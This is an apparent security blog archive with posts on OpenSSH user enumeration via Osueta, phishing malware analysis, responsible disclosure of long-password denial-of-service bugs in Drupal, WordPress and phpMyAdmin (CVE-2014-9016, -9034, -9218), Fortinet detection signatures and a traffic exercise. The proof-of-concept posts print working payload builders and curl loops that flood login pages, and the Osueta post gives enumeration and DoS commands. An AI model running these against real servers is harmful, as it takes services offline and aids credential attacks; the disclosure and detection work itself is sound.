OpenSSH User Enumeration Time-Based Attack with Osueta

July 1, 2014, 7:23 am

≫ Next: Looking for a job in the security field in a different way

≪ Previous: XSS-game by Google exercises 4, 5 and 6.

Introduction

In this post I'd like to introduce you to an awesome tool focused on taking advantage of an OpenSSH vulnerability. I'd like to thank @cor3dump3d for letting me participate in his project. Before starting, just a brief introduction...

OpenSSH is a well-known tool to remotely manage *nix systems. It has replaced to telnet, rlogin, and ftp. Using these tools, the data (even passwords) is transmitted across the network unencrypted. OpenSSH encrypts all traffic (including passwords) to effectively eliminate eavesdropping, connection hijacking, and other attacks... But will not eliminate all kinds of attacks, for example, the OpenSSH User Enumeration Time-Based Attack. Osueta has been developed to take advantage of that OpenSSH bug and offers us a way to improve our Brute Force attacks against an OpenSSH server.

In a Brute Force attack, we try different usernames and passwords in combination until the attack is successful. It is successful when we get access to the system by using the credentials guessed. So, we need to know two fields to be authenticated on a OpenSSH server: Username and Password.

Thanks to Osueta, we are able to guess the usernames available on the OpenSSH server. So if the usernames have been guessed, we have 50% of the credentials and the time needed to perform the Brute Force attack (by using Username Password combinations) will be reduced because we already know the username.

How does this bug work?

With the scenarios below, I will show you how this attack works. When we want to connect to an OpenSSH server, we need to type a username and password.

Scenario 1

If the username doesn't exist, the password is not compared to the original one.

Scenario 2

If the username exists, the password is compared with the original one. If the hash compared is the same, you are granted access to the system. If not, you are rejected.

Scenario 3

If the username exists and the password typed is for example 40.000 A's (40000 bytes), the fact of generating the hash of this long password in order to compare it with the original one, makes the system slow down and the time measurement is increased. So if the delay is increased when we use this long password, the username exists.

The picture below shows the performance of my computer when I tried an invalid username:

And now, that is the performance while it was being tested with a valid username and a password of 40000 bytes:

Find more info about this bug OpenSSH User Enumeration Time-Based Attack

Notice that OpenSSH 5.* 6.* servers are affected...

Working with Osueta

Ok. We have learned a little bit more from this bug and now it is the time to take advantage of it.

Before starting, we need to install the packages below:

# apt-get install python-ipy python-nmap python-paramiko

Then, we can download Osueta from Github:

$ git clone https://github.com/c0r3dump3d/osueta.git

Notice the first thing Osueta does when it is executed, is to test 10 random users to check the server delay in order to know how much time we can expect to wait (in normal conditions) until a reply is received from the server. Osueta establishes a rate limit and if it is exceeded, the user exits.

Example 1. Guessing if a single user if it is available.

./osueta.py -H 127.0.0.1 -U jnieto -p 22

Example 2. Guessing usernames from a list.

./osueta.py -H 127.0.0.1 -L users.txt -p 22

Example 3. Trying a DOS of the OpenSSH service. Notice you need to know or to guess a username to perform a DOS attack.

./osueta.py -H 127.0.0.1 -p 22 -U jnieto -v no --dos yes

You can see the result of this attack in the picture below... The CPU is up to 100% and there are a lot of connections to the OpenSSH server.

When the number of sessions is reached, the machine starts to reject the rest of connections causing a DOS.

↧

Looking for a job in the security field in a different way

July 15, 2014, 12:32 pm

≫ Next: Have I bought these clothes? Another spread malware campaign.

≪ Previous: OpenSSH User Enumeration Time-Based Attack with Osueta

You already know what the most common way of getting a job is. You usually look for vacancies in a job web portal and when you think you could be selected, you apply for it... Then, most of the companies look at your resume and start reading about your previous experience and your studies...

But if you are looking at getting a new job in the security field, take a moment to look around before sending your resume... Maybe the company is giving you an advantage against the other candidates and you have no idea about it.

Have you looked at the web code source?

Yes, you have read well. Maybe you are using a well known security scanner and maybe you would like to work for them. You should research the company a little bit more. For example, visit their website and look at their web code source... Sometimes you have some surprises as you can see in the picture bellow...

Looking at your network traffic

Here, another real example... While I was studying in order to improve my technical skills, I found a hint in the PCAP network capture by using Wireshark... I never would have imagined that I could find a new job by reading a network traffic capture...

Looking into the HTTP headers

What we really discovered before was that the company changed the HTTP header in order to show you a "secret" message. So, instead of getting a traffic capture to read the "secret" message, we could use wget to try to look for a new oportunity.

wget -S example.com -O /dev/null

Looking for a job in Shodan

You already know that Shodan grab and index the HTTP headers they scan... So we can get a lot of results as the previous one by using Shodan.

Here, more examples....

http://www.shodanhq.com/search?q=x-hacker+work

http://www.shodanhq.com/search?q=x-hacker+job

http://www.shodanhq.com/search?q=hiring

↧

Have I bought these clothes? Another spread malware campaign.

August 26, 2014, 5:34 am

≫ Next: Parsero v0.75 has been included in the Kali Linux repository

≪ Previous: Looking for a job in the security field in a different way

When I was reading one of the last FireEye's post, I was struck by the binary they said it came in the form of phished email (MD5:7c00ba0fcbfee6186994a8988a864385) purportedly from Armani regarding an order. I believe it is interesting to analyze because it could be a real example of an APT or maybe just another spread malware campaign. The techniques used in this real case, could be used in both scenarios...

But FireEye shared the mail's MD5 checksum and they didn't provide us with a copy of the message. Thanks to the last ContagioDump post, we are able to download all samples and a little more FireEye previously mentioned.

After downloading and opening the message, we can see the details of this mail in the picture bellow. It appears to have been sent by confirmation(at)armani[.]com and contains what appears to be an order with a file attached.

Analysing the SMTP headers

Before opening the file attached, let's see the mail headers to get deep into who really sent the message.

We can see the IP (which sent the mail) comes from Paris and the WHOIS description tells us that this IP belongs to a "Wifi Address Pool". Maybe it is a free Wifi or a hacked Wifi where the hackers were connected to send the email, or maybe the host which delivered the mail was infected and was connected to this Wifi when the mail was sent...

By reading the mail headers, we can get more information like the mail's hops. Notice the second one has been blacklisted.

If we continue analyzing the headers we can see something weird...

In the pictures above we can see that the X-sender and the Return-Path belong to a hotel mail account. These fields mean:

X-Sender: Tell us the real sender directly in the message headers.
Return-Path: Denotes the real sender but only "post factum".

I've checked that the SMTP servers from which the mail was sent need authorization to send e-mails. Also, the hotel mail account which delivered the mails used the SMTP servers which are hosted in the same hosting provider that the hotel web site is hosted on. So we could assume that this hotel is using these servers to send mail and the mail account could have been stolen. The hackers sent the phished mail from the hotel account but changing the "from" to confirmation(at)armani[.]com

Also we can see that the domain name of the company spoofed doesn't have a SPF record. That means that it is easier to send an email with the "from" faked. A SPF record prevent spammers from sending messages with forged From addresses. Here you can get more valuable info about SPF.

Tricking the end user

After spending some time digging into the SMTP headers to have further information about the sender, is time to focus on the attachment.

It seems an attempt has been made to disguise this file as a PDF file but we noticed that the extension is actually ".7z". If we unzip the file inside the ".7z" file to our Desktop...

...we see that the icon appears to be a PDF file with a weird extension: "pdf%%". We can't see the .exe extension because the "hide extensions for known file types" option is enabled in our Windows. FireEye said that this this file is using RTLO to trick the user but we can't see this technique in the attachment, at least the extension doesn't change... By using RTLO it would be expected to have an extension "exe.pdf" instead of "pdf.exe" which runs as an application, but the attachment doesn't work in this way in our Windows 7. But it doesn't matter, maybe in my next post I will talk about how easy is using RTLO and icon changing to trick a user into opening a file which appears to be a valid document but it is actually malware. That kind of techniques are really used in really attacks like in Siesta Campaign or others ones used like WinRar File extension spoofing.

I would like to look at the executable before continuing about how the hackers are trying to trick the user. We notice that this executable is signed with a certificate which has been revoked.

This stolen certificate has been used to bypass the security system of so many security software and devices. Some of them, the first check they do is to discover if the executable is signed, and if it is with a valid certificate, no more security actions are made and the executable is allowed to get into the network. Of course, after the company realized this problem, they revoked the certificate...

So, what happens if we execute the file which looks like a PDF file?

While the malware is doing evil actions, a web browser is open with the supposed Armani order.

For security guys, these techniques do not go unnoticed to a trained eye, but we can see how it happens every day to the layman.

Conclusion

Thanks to Fireye and Contagiodump who shared their analysis and samples, we have been able to see how the hacker probably got access to a hotel mail account to start a SPAM campaign and sent a spear phishing attack. They spoofed a mail account of a well know clothes brand. That company doesn't have a SPF record to prevent from being spoofed.

Also, we have observed how the hacker has tried to disguised the malicious executable as PDF by changing the icon to a PDF picture and maybe using RTLO. Also, after opening the file, a web browser is opened with the apparent order while the malware is doing evil actions.

Moreover, I've been researching a little more about that case and I've found an advertisement in Facebook https://www.facebook.com/Marnaque/posts/491122357681969 which talks about a similar phished mail. Notice that now they are trying to spoof another clothes brand and they are using a similar body mail using the same order number: 0801E376E15829. We can suspect the same guys are behind that...

↧

Parsero v0.75 has been included in the Kali Linux repository

September 2, 2014, 7:56 am

≫ Next: Drupal Denial of Service Responsible Disclosure - Attacking with long passwords

≪ Previous: Have I bought these clothes? Another spread malware campaign.

Some days ago a friend told me, "Ey! Why you didn't write a post talking about how Parsero has been included in the Kali Linux repository?""Seriously? I forgot it..." So here it is...

As you already know, Kali Linux is one of the most advanced and versatile penetration testing distribution ever made. Kali Linux originally started with earlier version of live Linux distribution named BackTrack. It is a GPL-compliant Linux distribution built by penetration testers for penetration tester. With millions of downloads, it has become the most widely adopted penetration testing framework in existence and is used by the security community all over the world.

That is the reason why I am really proud of announcing that my tool Parsero has been included in the Kali Linux repositories: http://tools.kali.org/information-gathering/parsero

Parsero is a free script written in Python which reads the Robots.txt file of a web server and looks at the Disallow entries. The Disallow entries are the URL path of directories or files hosted on a web server which the administrators don't want to be indexed by crawlers. For example, "Disallow: /portal/login" don't allow to search engines like Google, Bing, Yahoo to index www.example.com/portal/login so nobody can locate it by searching on them.

Sometimes these paths typed in the Disallows entries are directly accessible by the users (without using a search engine) just visiting the URL and the Path. Sometimes they are not available to be visited by anybody... Because it is really common that the administrators write a lot of Disallows and some of them are available and some of them are not, you can use Parsero in order to check the HTTP status code of each Disallow entry in order to check automatically if these directories are available or not.

Also, the fact that the administrator write a Robots.txt doesn't mean that the files or directories typed in this file will not be indexed by Bing, Google, Yahoo... For this reason, Parsero is capable of performing searches in Bing to locate content indexed without the web administrator authorization.

Now, you can run Parsero v0.75 directly from this awesome distribution. So, what do you need to use Parsero in Kali Linux?

Installing Parsero in Kali Linux

First of all, you need to execute:

root@kali:~# apt-get update

Then, you can search directly Parsero in the Kali Linux repositories by using the command bellow:

root@kali:~# apt-cache search parsero

Finally run the following command to install it.

root@kali:~# apt-get install parsero

Now you can have fun by checking the directories or files which could have sensitive information and should be "anonymous" to the search engines...

Currently, I'm working on developing the new release which will have another feature. It will be available here: https://github.com/behindthefirewalls/Parsero

↧

Drupal Denial of Service Responsible Disclosure - Attacking with long passwords

November 19, 2014, 1:50 pm

≫ Next: Wordpress Denial of Service Responsible Disclosure - Attacking with long passwords

≪ Previous: Parsero v0.75 has been included in the Kali Linux repository

Introduction

First of all, let me introduce you to my partner @cor3dump3d from www.devconsole.info We have written this post together and we hope you enjoy it. More technical information about this topic could be found at my partner post: http://www.devconsole.info/?p=1050

Before starting with our findings, we would like to thank @drupalsecurity team for their quick response and for their interest in keeping Drupal secure. It is the fastest and most efficient security team we have ever talked to... Around two hours after sending the vulnerability, we received the vulnerability confirmation and a patch was proposed...

As you already know, Drupal is an open source content management platform powering millions of websites and applications. It’s built, used, and supported by an active and diverse community of people around the world.

We believe in responsible disclosure, that is the reason why we have waited until a patch has been released by Drupal security team before revealing full details.

Drupal affected versions

Drupal core 7.x versions prior to 7.34
Secure Password Hashes 6.x-2.x versions prior to 6.x-2.1.

More info:

Vulnerability Details

We've been researching about the security in Drupal and we would like to share our results with you. We have discovered a vulnerability which can be used against default Drupal installations in order to:

Guess usernames
Perform a Denial of Service

With the scenarios below, we will show you how this attack works. When we want to login to Drupal site, we need to type a username and a password:

Scenario 1:

If the username doesn't exist, the password hash is not calculated because the username doesn't exist.

Scenario 2:

If the username exists, the password hash is calculated and compared with the hash stored in the database. If the hash compared is the same, you are granted access to the system. If not, you are rejected.

Scenario 3 - Taking advantage of the vulnerability:

User guessing

If the username exists and the password typed is for example 1000000 A's, the fact that when a hash of such a long password is generated in order to compare it with the hash stored in the database, it takes much longer and the time measurement is increased. So if the delay is increased, the username exists.

In Drupal, the way of calculating the password hash (SHA512 with a salt) by using phpass results in the cpu resources being affected when really long passwords are provided.

Denial of service

If we perform several login attempts by using a valid username at the same time with long passwords, that causes a Denial of Service in the server. We have observed two different scenarios in a Drupal 7.32, Apache and MySQL default installation. Depending on how many login attempts and the time between them, we will have two different scenarios:

The DOS attack crashes the entire server because the RAM and swap is reached. Also the CPU is reached.

The DOS attack crashes the database.

Notice the server doesn't crash because of the hash calculation. The vulnerability appears in conjunction with Apache, because Apache waits to PHP to finish the hash calculation. In a concurrent authentication process with a valid user and very long passwords, on the one hand PHP consumes the CPU with calculation processes and in the other hand, the Apache processes which are waiting, consumes the memory until the server or the database crashes.

If the apache configuration is optimized and tuned to the hardware resources, we are able to reach all sessions available quickly and handle them for 30 seconds which performs a DOS without crashing the server or database.

Why did we say 30 seconds?

30 seconds is the maximum time a script is allowed to run before it is terminated by the parser. By default, max_execution_time value is set to 30 in the php.ini config. This helps prevent poorly written scripts from tying up the server.

How to fix

Install the latest version:

If you use Drupal 7.x, upgrade to Drupal core 7.34.

If you use the Secure Password Hashes module for Drupal 6.x, upgrade to Secure Password Hashes 6.x-2.1 Also see the Secure Password Hashes project page.

If you have configured a custom password.inc file for your site you need to make sure that it is not prone to the same vulnerability.

Drupal 7.34 version verifies that passwords longer than 512 bytes are not hashed

Proof of Concept

A PoC will be pusblished. Until that, update your Drupal installations.

CVE information

CVE-2014-9016 has been assigned to this vulnerability.

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9016

Timeline

October 23, 2014 at 5:11am - We sent a complete report about the vulnerability to Drupal.

October 23, 2014 at 6:43am - Drupal answered confirming the vulnerability and proposing a patch.

November 19, 2014 at 8:54pm - A Drupal security update and the security advisory is published.

References

http://www.openwall.com/phpass/

http://www.devconsole.info/?p=963

http://codeseekah.com/2012/04/29/timing-attacks-in-web-applications/

https://administratosphere.wordpress.com/2011/06/16/generating-passwords-using-crypt3/

http://www.breaksec.com/?p=6362

↧

Wordpress Denial of Service Responsible Disclosure - Attacking with long passwords

November 21, 2014, 12:34 am

≫ Next: CVE-2014-9016 and CVE-2014-9034 Proof of Concept

≪ Previous: Drupal Denial of Service Responsible Disclosure - Attacking with long passwords

Introduction

Wordpress is the CMS most used Worldwide. According to w3techs.com WordPress is used by 61.1% of all the websites whose content management system they know. This is 23.2% of all websites.

My partner @cor3dump3d from www.devconsole.info and me believe in responsible disclosure, that is the reason why we have waited until a patch has been released by Wordpress security team before revealing full details.

Notice that this security issue is exactly the same we talked about yesterday. Both of them, Drupal and Wordpress had the same security flaw which is now solved in the latest versions.

Wordpress affected versions

Wordpress versions prior to 4.0.1

More info:

https://wordpress.org/news/2014/11/wordpress-4-0-1/

Vulnerability Details

We've been researching about the security in Wordpress and we would like to share our results with you. We have discovered a vulnerability which can be used against default Wordpress installations in order to:

Guess usernames
Perform a Denial of Service

With the scenarios below, we will show you how this attack works. When we want to login to Wordpress site, we need to type a username and a password:

Scenario 1:

If the username doesn't exist, the password hash is not calculated because the username doesn't exist.

Scenario 2:

Scenario 3 - Taking advantage of the vulnerability:

User guessing

If the username exists and the password typed is for example 1000000 A's, the fact that when a hash of such a long password is generated in order to compare it with the hash stored in the database, it takes much longer and the time measurement is increased. So if the delay is increased, the username exists.

In Wordpress, the way of calculating the password hash (MD5 with a salt) by using phpass results in the cpu resources being affected when really long passwords are provided.

Denial of service

If we perform several login attempts by using a valid username at the same time with long passwords, that causes a Denial of Service in the server. We have observed two different scenarios in a Wordpress 7.32, Apache and MySQL default installation. Depending on how many login attempts and the time between them, we will have two different scenarios:

The DOS attack crashes the entire server because the RAM and swap is reached. Also the CPU is reached.

The DOS attack crashes the database.

If the apache configuration is optimized and tuned to the hardware resources, we are able to reach all sessions available quickly and handle them for 30 seconds which performs a DOS without crashing the server or database.

Why did we say 30 seconds?

30 seconds is the maximum time a script is allowed to run before it is terminated by the parser. By default, max_execution_time value is set to 30 in the php.ini config. This helps prevent poorly written scripts from tying up the server.

How to fix

If you don't have set the automatic updates in Wordpress do it or install the latest version.

In the latest version, Wordpress only calculates the hash for passwords < 4096 length.

Proof of Concept

A PoC will be published. Until that, update your Wordpress installation.

CVE Information

CVE-2014-9034 has been assigned to this vulnerability.

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034

References

http://www.devconsole.info/?p=1050

http://www.devconsole.info/?p=963

http://www.openwall.com/phpass/

http://codeseekah.com/2012/04/29/timing-attacks-in-web-applications/

https://administratosphere.wordpress.com/2011/06/16/generating-passwords-using-crypt3/

http://www.breaksec.com/?p=6362

↧

CVE-2014-9016 and CVE-2014-9034 Proof of Concept

December 1, 2014, 6:40 am

≫ Next: When cookies lead to a DoS in phpMyAdmin CVE-2014-9218

≪ Previous: Wordpress Denial of Service Responsible Disclosure - Attacking with long passwords

Assuming that time enough has happened since the security update was released by Wordpress and Drupal, we want to share our researches. As you already know, we believe in Responsible Disclosure and that is the reason why we didn't publish this post before.

Set Quality to 720p

Drupal Denial of Service CVE-2014-9016

Generate a pyaload and try with a non-valid user:

$ echo -n "name=NO-VALID-USER&pass="> no_valid_user_payload && printf "%s" {1..1000000} >> no_valid_user_payload && echo -n "&op=Log in&form_id=user_login">> no_valid_user_payload

$ time curl --data @no_valid_user_payload http://yoursite/drupal/?q=user --silent > /dev/null &

Generate a pyaload and try with a valid user:

$ echo -n "name=admin&pass="> valid_user_payload && printf "%s" {1..1000000} >> valid_user_payload && echo -n "&op=Log in&form_id=user_login">> valid_user_payload

$ time curl --data @valid_user_payload http://yoursite/drupal/?q=user --silent > /dev/null &

Perform a Dos with a valid user:

$ for i in `seq 1 150`; do (curl --data @valid_user_payload http://yoursite/drupal/?q=user --silent > /dev/null &); sleep 0.25; done

Wordpress Denial of Service CVE-2014-9034

Generate a pyaload and try with a non-valid user:

$ echo -n "log=NO-VALID-USER&pwd="> payload && printf "%s" {1..1000000} >> payload && echo -n "&wp-submit=Log In">> payload

$ time curl --data @no_valid_user_payload http://yoursite/wordpress/wp-login.php --silent > /dev/null &

Generate a pyaload and try with a valid user:

$ echo -n "name=admin&pass="> valid_user_payload && printf "%s" {1..1000000} >> valid_user_payload && echo -n "&op=Log in&form_id=user_login">> valid_user_payload

$ time curl --data @valid_user_payload http://yoursite/wordpress/wp-login.php --silent > /dev/null &

Perform a Dos with a valid user:

$ for i in `seq 1 150`; do (curl --data @valid_user_payload http://yoursite/wordpress/wp-login.php --silent > /dev/null &); sleep 0.25; done

Python Code

https://github.com/c0r3dump3d/wp_drupal_timing_attack

References

http://www.behindthefirewalls.com/2014/11/wordpress-denial-of-service-responsible-disclosure.html

http://www.behindthefirewalls.com/2014/11/drupal-denial-of-service-responsible-disclosure.html

http://www.devconsole.info/?p=1050

https://wordpress.org/news/2014/11/wordpress-4-0-1/

https://www.drupal.org/SA-CORE-2014-006

https://www.drupal.org/node/2378367

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9016

↧

When cookies lead to a DoS in phpMyAdmin CVE-2014-9218

December 3, 2014, 8:33 am

≫ Next: CVE-2014-9218 phpMyAdmin DoS Proof of Concept

≪ Previous: CVE-2014-9016 and CVE-2014-9034 Proof of Concept

Introduction

"phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQLover the Web. phpMyAdmin supports a wide range of operations on MySQL, MariaDB and Drizzle. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement."

Before starting with our findings, we would like to thank phpMyAdmin security team for their quick response and for their interest in keeping their software secure.

My partner @cor3dump3d from www.devconsole.info and me believe in responsible disclosure, that is the reason why we have waited until a patch has been released by phpMyAdmin security team before revealing full details.

Affected Versions

Versions 4.0.x (prior to 4.0.10.7), 4.1.x (prior to 4.1.14.8) and 4.2.x (prior to 4.2.13.1) are affected.

More info:

http://www.phpmyadmin.net/home_page/security/PMASA-2014-17.php

Vulnerability Details

The phpMyAdmin vulnerability we are going to talk about is similar to, but a little bit different and more dangerous than the previous ones we posted some days ago: CVE-2014-9016 and CVE-2014-9034. This post describes a Proof of Concept about how to perform a Denial of Service by using long passwords which affects to the software mentioned above.

Now, we have discovered that phpMyAdmin is vulnerable to the same attack but this time for a different reason...

Why did we say more dangerous than the previous ones? In order to take advantage of this vulnerability in Drupal and Wordpress, we needed to know a valid username before launching the attack. In phpMyAdmin, it is not required to know a valid username.

In phpMyAdmin the attack works different because phpMyAdmin does not maintain any user accounts and when the user logs into phpMyAdmin, it simply relays the password to MySQL, and MySQL is not affected by this vulnerability. These are the results of these MySQL login attempts:

Password length: 1000000 Total execution time in seconds: 0.018867969512939
Password length: 2000000 Total execution time in seconds: 0.03835391998291
Password length: 3000000 Total execution time in seconds: 0.056785106658936
Password length: 4000000 Total execution time in seconds: 0.075578212738037
Password length: 5000000 Total execution time in seconds: 0.09423303604126
Password length: 6000000 Total execution time in seconds: 0.11118984222412
Password length: 7000000 Total execution time in seconds: 0.13226509094238
Password length: 8000000 Total execution time in seconds: 0.1476719379425
Password length: 9000000 Total execution time in seconds: 0.16580295562744

So, which is the cause because phpMyAdmin is affected to this kind of attack?

If we try a login attempt by using a valid or non valid username and a 1.000.000 length password we will obtain the error below.

* Notice that 30 seconds is the maximum time a script is allowed to run before it is terminated by the parser. This helps prevent poorly written scripts from tying up the server.

Researching a little bit more, we see that in PhpMyAdmin cookie mode authentication, the password is stored, encrypted with the AES algorithm, in a temporary cookie.

We have tried to encrypt with AES these long strings and we have observed an increase of time calculation according to the length the strings.

Text length: 1024 ==> AES calculation time in seconds: 0.0085389614105225
Text length: 10240 ==> AES calculation time in seconds: 0.069222927093506
Text length: 51200 ==> AES calculation time in seconds: 0.35328578948975
Text length: 102400 ==> AES calculation time in seconds: 0.72205591201782
Text length: 512000 ==> AES calculation time in seconds: 3.5483829975128
Text length: 1024000 ==> AES calculation time in seconds: 7.1560480594635
Text length: 102400000 ==> AES calculation time in seconds: 733.4890639782

When this test was performed locally, a CPU resource exhaustion was observed. Notice that the server doesn't crash because of the AES calculation. The vulnerability appears in conjunction with Apache, because Apache waits to PHP to finish the AES calculation. In a concurrent authentication process with a valid or non valid user and very long passwords, on the one hand PHP consumes the CPU with AES calculation processes and in the other hand, the Apache processes which are waiting, consumes the memory until the server crashes.

The result is a Denial of Service condition because of memory exhaustion.

This problem is solved in the latest phpMyAdmin patch. By applying this patch, the user credentials are stored only after a successful authentication. Further, it truncates passwords to a length of 256.

How to fix

Upgrade to phpMyAdmin 4.0.10.7 or newer, or 4.1.14.8 or newer, or 4.2.13.1 or newer.

Proof of concept

A proof of concept will be published soon. Until that, update your phpMyAdmin installations.

CVE Information

CVE-2014-9218 has been assigned to this vulnerability.

Timeline

November 26, 2014 - We sent a complete report about the vulnerability to the phpMyAdmin security team.

November 27, 2014 - phpMyAdmin started to work on this security issue.

December 3, 2014 - The phpMyAdmin security update and the security advisory is published.

References

↧

CVE-2014-9218 phpMyAdmin DoS Proof of Concept

December 11, 2014, 1:41 am

≫ Next: Who is trying to get the public IP address inside your network?

≪ Previous: When cookies lead to a DoS in phpMyAdmin CVE-2014-9218

Assuming that time enough has happened since the security update was released by phpMyAdmin, we want to share our researches. As you already know, we believe in Responsible Disclosure and that is the reason why we didn't publish this post before.

You can read the vulnerability details in the previous blog post. In this one, we show you the way to exploit it.

1 - Create the payload.

$ echo -n "pma_username=xxxxxxxx&pma_password="> payload && printf "%s" {1..1000000} >> payload

2 - Performing the Denial of Service attack.

$ for i in `seq 1 150`; do (curl --data @payload http://your-webserver-installation/phpmyadmin/ --silent > /dev/null &) done

↧

Who is trying to get the public IP address inside your network?

September 1, 2015, 12:23 am

≫ Next: A Network Traffic Analysis Exercise

≪ Previous: CVE-2014-9218 phpMyAdmin DoS Proof of Concept

In this blog post I would like to share some tricks to detect suspicious activities that could end with finding compromised hosts inside a network. I´ve noticed (I guess you too) that there are some malware out there and the first things they do, when a computer is infected, is to check the public IP address in order to let the malware developer know, where the infected host is located. We can see this behavior in a lot of malware like Cryptowall 2.0, Kriptovo, ZeroAccess and many more...

I use to work with Suricata as IDS (by the way, really happy with its performance) and Emerging Threats rules in order to detect computers trying to get its public IP address. You know... it´s weird that someone from the Human Resources department is interested in getting their computer´s public IP address...

You can find some free Suricata signatures here that are focused on that task. You can filter by "IP Check" or "External IP Lookup".

If you are using Suricata or Snort as IDS, they are good for starting an investigation when these alerts are triggered but I would like to go a little bit further without allowing the malware to get the public IP address, just to make things more difficult for the malware developer...

I´m not using Suricata as IPS but I do have an IPS and an Application Control with a Fortinet Fortigate firewall. There are many ways to achieve this goal, but this time I think my best bet is Fortinet App Control. Also, a NGFW allows us to perform a man in the middle "attack" and see what´s going on inside a SSL tunnel which makes our signatures more effective, just in case the connection goes to a SSL service...

Creating a custom App Control signature with Fortinet

I've decided to create custom signatures to detect if someone or something is trying to get the public IP address. I would like to share three options that you could work with.

It is not a big deal to create custom signatures with Fortinet App Control to detect these connections, so for me, it worth some of my time to deal with them not only to detect them but drop them.

Example 1 - Easy mode

If we get access to checkip.dyndns.org we can see that the public IP address is returned.

If we look at the pcap capture we can see (obviously) that the host reached is checkip.dyndns.org. We can see the domain in the Host line in the HTTP header, so here is where we will look and it will be defined thanks to the signature Context.

If we want to detect if someone is getting access to checkip.dyndns.org we just need to create the rule bellow via CLI.

config application custom
edit "External.IP.Lookup.-checkip.dyndns.org-.Custom"
set comment ''
set signature "F-SBID( --attack_id 4467; --name \"External.IP.Lookup.-checkip.dyndns.org-.Custom\"; --app_cat 25; --protocol tcp; --service HTTP; --parsed_type HTTP_GET; --flow from_client; --pattern \"checkip.dyndns.org\"; --context host; --no_case; )"
set category 25
next
end

* You can find more APP controls example of rules in my Github account.

This rule doesn´t have a lot to explain, it´s really easy and "similar" to Snort/Suricata rules. This is a brief description of our rule:

-- attack_id 4467; if you don´t specify an attack_id, it will automatically assigned
--name; signature name
--app_cat 25; correspond to Web.Ohters category
--pattern; the string we are going to look for in the packet traffic
--parsed_type HTTP_GET; is the HTTP method used to retrieve the public IP address
--flow from_client; Match packets sent from the client to the server
--no_case; by default, patterns are case sensitive so --no_case makes the pattern matching case insensitive
--context host; context to match the pattern. There are several ones: HOST, URI, HEADER, BODY, BANNER...

Once the rules are created, you just need to add them to your AppControl sensor and set the Action.

When the changes are applied and we try to get access to checkip.dyndns.org again, the connection will be blocked and we will get that message: "Application Blocked". That is because "Replacement Messages for HTTP-based Applications" is checked.

If you don´t want to inform the users/malware you just need to unset "Replacement Messages for HTTP-based Applications"

and there will not be any messages, the session will be just dropped.

Example 2 - Medium mode

Sometimes we need to specify not just the hostname we want to monitor/block but we also need to specify the HTTP URI. Imagine we need to block "ip-api.com/xml" but we want to let our users still to get access to "ip-api.com".

We will need to check two condition:

Host: ip-api.com
URI: xml

So we will need to set two patterns and two context:

--pattern \"ip-api.com\"; --context host;
--pattern \"xml\"; --context uri;

This is the rule we need to configure.

config application custom
edit "External.IP.Lookup.-ip-api-.Custom"
set comment ''
set signature "F-SBID( --attack_id 5188; --name \"External.IP.Lookup.-ip-api-.Custom\"; --app_cat 25; --protocol tcp; --service HTTP; --parsed_type HTTP_GET; --flow from_client; --pattern \"ip-api.com\"; --context host; --no_case; --pattern \"xml\"; --context uri; --no_case; )"
set category 25
next
end

Example 3 - Paranoid mode

As you have noticed, if the malware retrieves the public IP address from a domain which has not been included in our signatures, we will not be aware of it and the session will not be monitored/dropped.

There is a possible solution. When the malware requests the public IP address from a web server, it responds with the IP address in the HTTP body.

What we can do is to look at the responses looking for our public IP addresses. Of course, we usually have more than one, in my case, a complete class B network. In order to check if our class B network (88.11.0.0/16) is included in the server response, we will use PCRE.

To achieve our goal, we need to set the following parameters:

--flow from_server; Match packets sent from the server to the client

--pcre /88.11.[0-9]{1,3}.[0-9]{1,3}/; That regular expression matches from 88.11.0.0 to 88.11.999.999
--context body; we will look at the server response in the HTTP body

So that is the rule.

config application custom

edit "External.IP.Lookup.Detected.Custom"

set comment ''

set signature "F-SBID( --name \"External.IP.Lookup.Detected.Custom\"; --app_cat 25; --protocol tcp; --service HTTP; --parsed_type HTTP_GET; --flow from_server; --pcre /88.11.[0-9]{1,3}.[0-9]{1,3}/; --context body; )"

set category 25

*** Think about possible false positives before setting this rule to Block. You should monitor before blocking because some web pages like glassdoor.com, returns your public IP address in the commented source code...

References

http://video.fortinet.com/uploads/documents/IPS%20Signature%20Syntax%20Guide.pdf

↧

A Network Traffic Analysis Exercise

December 13, 2015, 2:55 pm

≫ Next: CVE-2016-3978 Open Redirect & XSS in FortiOS (Fortinet)

≪ Previous: Who is trying to get the public IP address inside your network?

Network forensics is something we should practice as much as possible to become faster at detecting supicious activies in our networks. This website http://malware-traffic-analysis.net/ shares network traffic captures where we can find different kinds of infections and malicious activies. I find these examples quite good to improve our skills to find evil behaviours... Also, we could be witness of new vectors attack and new evasion techniques...

Today, we are going to do the last exercise:

http://malware-traffic-analysis.net/2015/11/24/index.html

Malware infection

In the post mentioned before, it was said that a malware was found in a corporate computer. We can get more information about that sample from diferent malware analysis.

SHA256

d16ad130daed5d4f3a7368ce73b87a8f84404873cbfc90cc77e967a83c947cd2

malwr Virustotal file-analyzer

Network traffic analysis

To figure out what happend, we have to work with the traffic capture published at such blog post: 2015-11-24-traffic-analysis-exercise.pcap. The first thing I´m going to do is to use tcpreplay in order to replicate the same traffic that was captured in an interface where my Suricata is listening with the latest ETPRO ruleset loaded.

After all the traffic has been replicated and analyzed, we can see on our alerts Dashboard that a computer could be affected by an Exploit Kit. Also, there are some CnC alerts...

The first Angler EK alerts came from the website neuhaus-hourakus.avelinoortiz[.]com

The order of the visits for that specific domain were:

neuhaus-hourakus.avelinoortiz[.]com/forums/viewforum.php?f=15&sid=0l.h8f0o304g67j7zl29
neuhaus-hourakus.avelinoortiz[.]com/who.olp?save=&effect=VFv9cHM&you=LmzXy&picture=J0sYyqN&why=Dv0ZsHPosOWnZsEC9KJ9myAYKZSGT
neuhaus-hourakus.avelinoortiz[.]com/literature.disco?audience=5Hr&trip=&election=txK1BgKFW&piece=aRLmxzX&normal=QGOT&understand=IWOBe&theory=so8bghs&discover=y47E5&tell=gSIQ&opportunity=ZWe&available=z
